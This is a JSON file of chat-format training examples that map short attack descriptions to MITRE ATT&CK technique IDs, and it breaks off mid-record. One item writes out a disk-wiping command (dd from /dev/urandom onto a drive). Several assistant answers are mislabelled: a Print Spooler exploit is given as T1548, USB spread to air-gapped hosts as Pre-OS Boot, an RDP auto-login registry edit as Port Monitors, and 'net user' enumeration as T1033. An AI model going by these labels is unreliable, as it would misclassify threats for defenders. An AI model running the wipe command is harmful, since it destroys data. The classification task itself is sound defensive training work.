    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes compromised Docker Hub tokens to pull malicious images and start containers that open Remote Procedure Call (RPC) listeners for external access."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool reconfigures the VPN client to only accept 40-bit encryption keys, shrinking the possible key combinations."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script searches for .txt and .docx files on the host and copies them to a temporary location."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker provisions a VM in a rarely used Google Cloud ‘asia-east2’ region, then tunnels traffic through it to bypass established network defenses."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion writes a malicious systemd timer that periodically runs a data exfiltration script."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor runs a netstat command to list all open TCP and UDP connections on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to bypass sandbox analysis, the ransomware polls the system clock every few seconds and only runs its encryption routine after detecting a stable, non‑accelerated time flow."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify socket filter chains to spoof legitimate traffic sources, enabling phishing attacks that appear to originate from trusted hosts."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT exploits a vulnerable web framework (e.g., Django) to achieve remote code execution on the server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hosts a malicious TIFF on a website; visiting the page causes the browser to download and execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote code execution exploit runs 'cmd.exe' on a domain controller to execute 'net user' and establish a new account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes 'net user' to list all local user accounts on the compromised Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors apply ASCII encoding to conceal malicious scripts in legitimate files."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors encode their traffic to look like ordinary NTP packets, facilitating covert data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A exploit of the CVE‑2021‑1675 Print Spooler vulnerability is used to execute code as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document triggers a command that runs `dd if=/dev/urandom of=/dev/sdc bs=4M` to corrupt the disk."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor drops a LaunchAgent plist in /Library/LaunchAgents to start a privilege‑escalation script at system boot."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool scans /proc/* directories for processes running with elevated privileges and extracts their credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain includes reflective loading of a malicious .NET assembly into memory, avoiding detection by AV scanners."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor switches to using SMS-based commands to maintain control after the main command server is taken down."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a PowerShell script that compresses log files and sends them via an HTTP POST to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the \"Hidden\" attribute on its files and directories to make them invisible in standard file listings."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker initiates a snapshot of a compromised Docker container host in the cloud to preserve the environment for future attacks."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macros in a phishing email opened the system’s camera, recorded a brief video of the user’s environment, and sent it to a C2 endpoint."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accessed the NTDS.dit on the domain controller and copied it for offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After capturing the DNS administrator’s password, the attacker creates a subdomain pointing to a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs DNS queries on domains derived from the victim’s MAC address combined with a secret key."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages DDE messages to execute PowerShell scripts on the victim machine via inter‑process communication."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries load a malicious operating system image onto the target's hard drive to replace the legitimate OS during boot."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious plugin reads the Windows Registry to locate email client cache locations for data theft."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user’s token is used to query SharePoint Search, gathering emails and attachments stored in document libraries."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised web server, the adversary establishes a SOCKS proxy that connects internal clients to external malicious infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan is distributed as a packed PE file that unpacks its payload in memory using runtime decryption."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the Azure RBAC API to list all group objects and associated role assignments."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries download a publicly available remote access Trojan from a GitHub repository to use in subsequent intrusions."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employs IPv6 encapsulation over IPv4 to traverse a NAT appliance and reach a protected host within the corporate LAN."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A bash script on a Linux machine reads '/proc/driver/rtc' to discover the hardware clock time as part of its reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs a password spray attack against a Microsoft Exchange server to gain email access."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use covert channels to transmit data in a manner not intended by the designers of the communication protocols"
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee receives an email appearing to come from the HR department, containing a malicious Word document that exploits a macro vulnerability to install credential‑stealing malware."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fraudulent voice message is left on a voicemail box claiming the recipient must call a provided number to verify a suspicious login attempt and disclose personal information."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encodes log files in Base64 and posts them to a private GitHub Gist for later retrieval by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a simple TCP socket on port 80 to stream compressed data files to an external server, bypassing typical C2 protocols."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved authenticating with the out‑of‑the‑box account 'postgres' with password 'postgres' on a database server."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a malicious entry to the Windows Terminal Services (RDP) registry to auto-login."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited a zero‑day in a popular chat client to read plaintext credentials posted in group chats and forward them to an external server."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects malicious CSS that leverages the @import rule to load external malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware inspects the domain name of the logged‑in user and will only execute if the user belongs to a particular Active Directory domain."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised insider uploads a tainted multimedia file to a shared media library, which exploits a player vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use LinkedIn to map the organizational hierarchy and identify privileged individuals."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a phishing email to lure victims into a fake login portal, capturing usernames, passwords, and security question answers."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a hidden DDE server that listens for incoming requests, enabling an attacker to remotely execute arbitrary commands on the host."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script parses /proc/kcore to retrieve system memory, including credential data."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder reviews the target's corporate registration documents to determine the city and zip code of each operational site."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder altered the creation and modification times of log files to make forensic analysis harder."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a network of infected Windows PCs to serve as a botnet for coordinated credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware targets air-gapped systems by infecting USB drives or other removable media, allowing it to spread and potentially escalate its privileges in isolated environments."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor modifies Active Directory domain policy settings to disable security logging."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An observed backdoor constructs domain names using a hash of the system time, then resolves them to locate its controller."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software stores user credentials in the Windows Registry under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon for easy access."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a systemd timer unit that triggers a malicious script to run at system boot, providing persistence on Linux hosts."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a file with the '.tmp' extension and sets the hidden attribute, ensuring it is not displayed in standard file explorers."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a scheduled task to copy browser history files into a local staging folder for later collection."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executes a signed executable with arguments that resemble a scheduled task, thereby concealing the true purpose of the command."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker compresses and then encodes exfiltrated data with a custom algorithm to bypass data loss prevention."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom Bluetooth payload, the attacker exfiltrates system logs and configuration files to a nearby rogue tablet."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a document that, when opened, runs a macro which launches a PowerShell script using \"Start-Process -Verb RunAs\", prompting the user to approve elevation before the script runs."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary extracts AS-REP hashes by requesting Kerberos authentication for a user account that does not require pre‑authentication, then performs offline cracking to obtain the Kerberos ticket‑granting ticket."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An Android spyware app requests accessibility permissions to record keystrokes entered in other apps and sends them to a C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed automated scans of internet‑exposed services to collect digital certificates for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking a trusted VPN concentrator, the threat actor forwards internal traffic to an overseas server, bridging the security boundary."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use open DNS lookup tools to harvest DNS records, extracting CNAME and A records that reveal internal server names and network topology."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a telephony SIM swapping attack to receive the victim's SMS-based MFA codes and used them to access privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals created a temporary local folder to accumulate data collected from multiple processes."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor injects a portable executable into the memory of explorer.exe using the Windows API WriteProcessMemory and CreateRemoteThread."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
